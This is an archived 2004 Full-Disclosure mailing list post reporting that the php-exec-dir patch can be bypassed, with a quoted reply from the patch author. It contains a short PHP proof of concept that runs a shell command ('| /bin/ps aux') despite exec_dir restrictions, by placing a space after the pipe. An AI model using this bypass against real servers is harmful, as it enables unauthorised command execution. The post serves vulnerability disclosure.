[Full-Disclosure] php-exec-dir vulnerable after latest upgrade

From: VeNoMouS (venom_at_gen-x.co.nz)
Date: 07/08/04

  • Next message: marklist_at_comcast.net: "[Full-Disclosure] Nokia 3560 Remote DOS" 
    To: "C. McCohy" <mccohy@kyberdigi.cz>, <full-disclosure@lists.netsys.com>
Date: Thu, 8 Jul 2004 13:05:24 +1200

    <?php

    $blah = `| /bin/ps aux`;
    echo nl2br($blah);
    ?>

    ^^ do a |<space>ps exploits it again

    i my exec_dir in php.ini set to /usr/local/lib/php/bin/ with nothing inside
    it and i was still able to execute it, you HAVE to do the space after the
    pipe '|'.

    ----- Original Message -----
    From: "C. McCohy" <mccohy@kyberdigi.cz>
    To: "VeNoMouS" <venom@gen-x.co.nz>
    Sent: Wednesday, July 07, 2004 9:43 PM
    Subject: Re: php-exec-dir vulnerable?

    > Ok I fixed all patches to all previous and current versions of the patch,
    > description can be found on the project homepage
    > http://kyberdigi.cz/projects/execdir/
    >
    > Please inform all internet groups you have informed about the bug before.
    >
    > --
    > Baj ... C. McCohy
    >
    > While you are reading this text, an essential hacking tool
    > is being silently installed on your computer.
    >
    >
    >

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html

  • Next message: marklist_at_comcast.net: "[Full-Disclosure] Nokia 3560 Remote DOS"

    Relevant Pages

    • Re: [PHP] Fatal error when calling nested function
      ... return $dollars * $conversion; ... echo convert_pound; ... you can only execute the outer function once. ...
      (php.general)
    • Re: [PHP] Function returning but continues execution
      ... I have come across what appears to be a bug in PHP, but one that I am having difficulty writing test code for. ... Checks to make sure that the friend being added is not already added. ... No further code in the function should execute. ...
      (php.general)
    • Function returning but continues execution
      ... I have come across what appears to be a bug in PHP, but one that I am having difficulty writing test code for. ... Checks to make sure that the friend being added is not already added. ... No further code in the function should execute. ...
      (php.general)
    • Cant connect to a mySQL DB
      ... I'm trying connecting to a mySQL DBm but I've some troubles. ... echo "Connecting ... ... When I execute, the php page just writes: ...
      (comp.lang.php)
    • Trouble Configurating LC_ALL
      ... echo $info2.""; ... well when I execute this in my browser, the page show me information about php, ... configure the varible lang in php or known what make setlocale internaly. ... Other thing more is that if i open the console and execute el command php -i ...
      (Fedora)